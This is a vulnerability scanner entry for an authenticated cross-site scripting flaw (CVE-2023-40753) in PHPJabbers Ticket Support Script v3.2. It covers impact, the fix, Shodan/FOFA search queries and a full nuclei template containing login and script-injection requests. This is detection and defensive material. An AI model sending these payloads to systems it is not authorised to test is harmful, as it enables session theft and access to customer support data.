PHPJabbers Ticket Support Script v3.2 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

There is a Cross Site Scripting (XSS) vulnerability in the message parameter of index.php in PHPJabbers Ticket Support Script v3.2.

Impact

Authenticated attackers can inject malicious JavaScript through the message parameter in ticket notifications, potentially stealing support staff session cookies and accessing sensitive customer support tickets.

Fix

Update PHPJabbers Ticket Support Script to a version newer than 3.2 that properly sanitizes the message parameter and encodes output in notifications.

How to confirm it

Send: POST /index.php?controller=pjBase&action=pjActionLogin ; GET /notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=a&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3CscrIpt%…
Positive when: contains in body_2 "</textarea><scrIpt>alert(document.domain);</scRipt><textare…" and "Subject" and "Recipient users" AND contains in content_type_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-40753 -u <target>

The full check

id: CVE-2023-40753

info:
  name: PHPJabbers Ticket Support Script v3.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the message parameter of index.php in PHPJabbers Ticket Support Script v3.2.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the message parameter in ticket notifications, potentially stealing support staff session cookies and accessing sensitive customer support tickets.
  remediation: |
    Update PHPJabbers Ticket Support Script to a version newer than 3.2 that properly sanitizes the message parameter and encodes output in notifications.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-40753
    cwe-id: CWE-79
    epss-score: 0.011
    epss-percentile: 0.65943
    cpe: cpe:2.3:a:phpjabbers:ticket_support_script:3.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: ticket_support_script
  tags: cve,cve2023,phpjabbers,ticket-support-script,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /index.php?controller=pjBase&action=pjActionLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_user=1&login_email={{username}}&login_password={{password}}&login_captcha=

      - |
        GET /notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=a&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3CscrIpt%3Ealert(document.domain)%3B%3C%2FscRipt%3E%3Ctextarea%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "</textarea><scrIpt>alert(document.domain);</scRipt><textarea>"
          - "Subject"
          - "Recipient users"
        condition: and

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from